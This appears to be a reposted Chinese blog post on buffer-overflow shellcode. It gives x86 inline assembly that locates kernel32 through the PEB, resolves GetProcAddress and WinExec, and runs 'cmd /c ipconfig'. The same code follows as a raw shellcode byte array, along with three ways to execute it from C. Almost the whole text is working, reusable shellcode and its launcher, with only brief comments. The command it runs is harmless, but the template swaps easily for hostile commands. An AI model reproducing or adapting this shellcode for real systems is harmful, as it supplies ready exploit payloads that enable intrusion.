缓冲区溢出shellcode

void fun()
{
    __asm
    {
     mov eax, dword ptr fs:[0x30];
     mov eax, dword ptr [eax+0xC];
     mov eax, dword ptr [eax+0xC];
     mov eax, dword ptr [eax];
     mov eax, dword ptr [eax];
     mov eax, dword ptr [eax+0x18];
     mov ebp,eax                        //Kernel.dll基址
     mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部
     mov edx,dword ptr ds:[eax+ebp+78H]  //
     add edx,ebp                        // edx=引出表地址
     mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions
     mov ebx,dword ptr ds:[edx+20H]      //
     add ebx,ebp                        // ebx=函数名地址,AddressOfName
start:                                  //
     dec ecx                            // 循环的开始
     mov esi,dword ptr ds:[ebx+ecx*4]   //
     add esi,ebp                        //
     mov eax,0x50746547                   //
     cmp dword ptr ds:[esi],eax         // 比较PteG
     jnz start                     //
     mov eax,0x41636F72                   //
     cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress
     jnz start                     //
     mov ebx,dword ptr ds:[edx+24H]      //
     add ebx,ebp                        //
     mov cx,word ptr ds:[ebx+ecx*2]     //
     mov ebx,dword ptr ds:[edx+1CH]      //
     add ebx,ebp                        //
     mov eax,dword ptr ds:[ebx+ecx*4]   //
     add eax,ebp                        // eax 现在是GetProcAddress地址
     mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用
     push 0                             //
     push 0x636578                        //
     push 0x456E6957                      // 构造WinExec字符串
     push esp                           //
     push ebp                           // ebp是kernel32.dll的基址 
     call ebx                           // 用GetProcAdress得到WinExec地址
     mov ebx,eax                        // WinExec地址保存到ecx
 
     push 0x00676966
     push 0x6E6F6370
     push 0x6920632F
     push 0x20646d63    //cmd压入栈
 
     lea eax,[esp];     //取到cmd首地址
     push 1             //
     push eax           // ASCII "cmd /c ipconfig"
     call ebx           // 执行WinExec
    // leave            // 跳回原始入口点
    }
}

int main(int argc, char* argv[])
{
   fun();
}


int main(int argc, char* argv[])
{
unsigned char shellcode[]={
0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,
0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,
0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,
0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,
0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,
0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,
0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};
//三种方式执行shellcode
//第一种
((void (*)())&shellcode)(); // 执行shellcode
//第二种
__asm
{
lea eax,shellcode;
jmp eax;
}
//第三种
__asm
{
lea eax, shellcode
push eax
ret
}
}
————————————————
版权声明:本文为CSDN博主「maotoula」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/maotoula/article/details/18502679

 

 

posted @ 2021-09-10 22:31  admrty  阅读(69)  评论(0)    收藏  举报